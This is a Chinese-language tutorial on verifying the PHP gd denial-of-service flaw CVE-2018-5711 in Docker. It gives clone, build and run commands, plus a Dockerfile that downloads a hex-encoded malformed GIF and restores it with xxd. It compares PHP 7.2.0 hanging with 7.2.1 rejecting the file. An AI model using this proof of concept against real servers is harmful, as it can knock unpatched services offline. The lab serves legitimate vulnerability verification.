编号为PHP
CVE-2018-5711
的漏洞能让运行PHP
的服务器瞬间宕机,原理是gd
库在遇到特定非法格式的gif
图片时会耗尽CPU
,影响范围如下:
其中列出的都是该系列的最高版本,也就是说几乎所有使用gd
库的PHP
都需要为此更新到最高版本。
下面介绍这个漏洞在Docker
中验证的方法,需要强调,这里提供了非法格式的git
图片文件,如果上传到没有更新的服务器,不排除服务器宕机的可能,造成经济损失将违反相关法律。
PHP 7.2.0
版本中的漏洞下载代码
git clone https://github.com/huzhenghui/Test-7-2-0-PHP-CVE-2018-5711.git
进入项目文件夹
cd Test-7-2-0-PHP-CVE-2018-5711
构建Docker
镜像
docker build -t test-7-2-0-php-cve-2018-5711 .
构建成功后查看PHP
版本
docker run --rm test-7-2-0-php-cve-2018-5711 -v
可以看到
PHP 7.2.0 (cli) (built: Jan 4 2018 01:20:58) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2017 Zend Technologies
查看PHP
中是否包含GD
库
docker run --rm --entrypoint /bin/bash test-7-2-0-php-cve-2018-5711 -c 'php -m | grep -I gd'
如果包含则显示
gd
运行验证程序
docker run --rm test-7-2-0-php-cve-2018-5711 -r '"imagecreatefromgif(\"poc.gif\");"'
会看到程序卡死,由于Docker
限制进程使用的系统资源,可能不会死机,不过需要使用docker kill
命令杀死相关进程。
PHP 7.2.1
版本中已经修好了下载代码
git clone https://github.com/huzhenghui/Test-7-2-1-PHP-CVE-2018-5711.git
进入项目文件夹
cd Test-7-2-1-PHP-CVE-2018-5711
构建Docker
镜像
docker build -t test-7-2-1-php-cve-2018-5711 .
构建成功后查看PHP
版本
docker run --rm test-7-2-1-php-cve-2018-5711 -v
可以看到
PHP 7.2.1 (cli) (built: Jan 8 2018 23:13:17) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2017 Zend Technologies
查看PHP
中是否包含GD
库
docker run --rm --entrypoint /bin/bash test-7-2-1-php-cve-2018-5711 -c 'php -m | grep -I gd'
如果包含则显示
gd
运行验证程序
docker run --rm test-7-2-1-php-cve-2018-5711 -r '"imagecreatefromgif(\"poc.gif\");"'
会看到程序报错
Warning: imagecreatefromgif(): 'poc.gif' is not a valid GIF file in Command line code on line 1
Dockerfile
说明两个示例的Dockerfile
的差别仅在于版本,完整的Dockerfile
如下:
FROM php:7.2.0
MAINTAINER huzhenghui hu@daonao.com
RUN apt-get update && \
apt-get install -y libpng-dev xxd && \
docker-php-ext-install gd && \
curl https://raw.githubusercontent.com/huzhenghui/Test-7-2-0-PHP-CVE-2018-5711/master/poc -o /poc && \
xxd -r /poc /poc.gif
首先设置基础镜像
FROM php:7.2.0
维护者信息
MAINTAINER huzhenghui hu@daonao.com
更新包管理器
apt-get update
按装包,其中libpng-dev
用于编译gd
扩展,xxd
用于从文本文件生成非法格式文件,这种文件不适合原文在网络传播,需要转一下码。
apt-get install -y libpng-dev xxd
安装gd
扩展,此处使用docker提供的工具
docker-php-ext-install gd
下载示例文件转码后的文件
curl https://raw.githubusercontent.com/huzhenghui/Test-7-2-0-PHP-CVE-2018-5711/master/poc -o /poc
还原示例文件
xxd -r /poc /poc.gif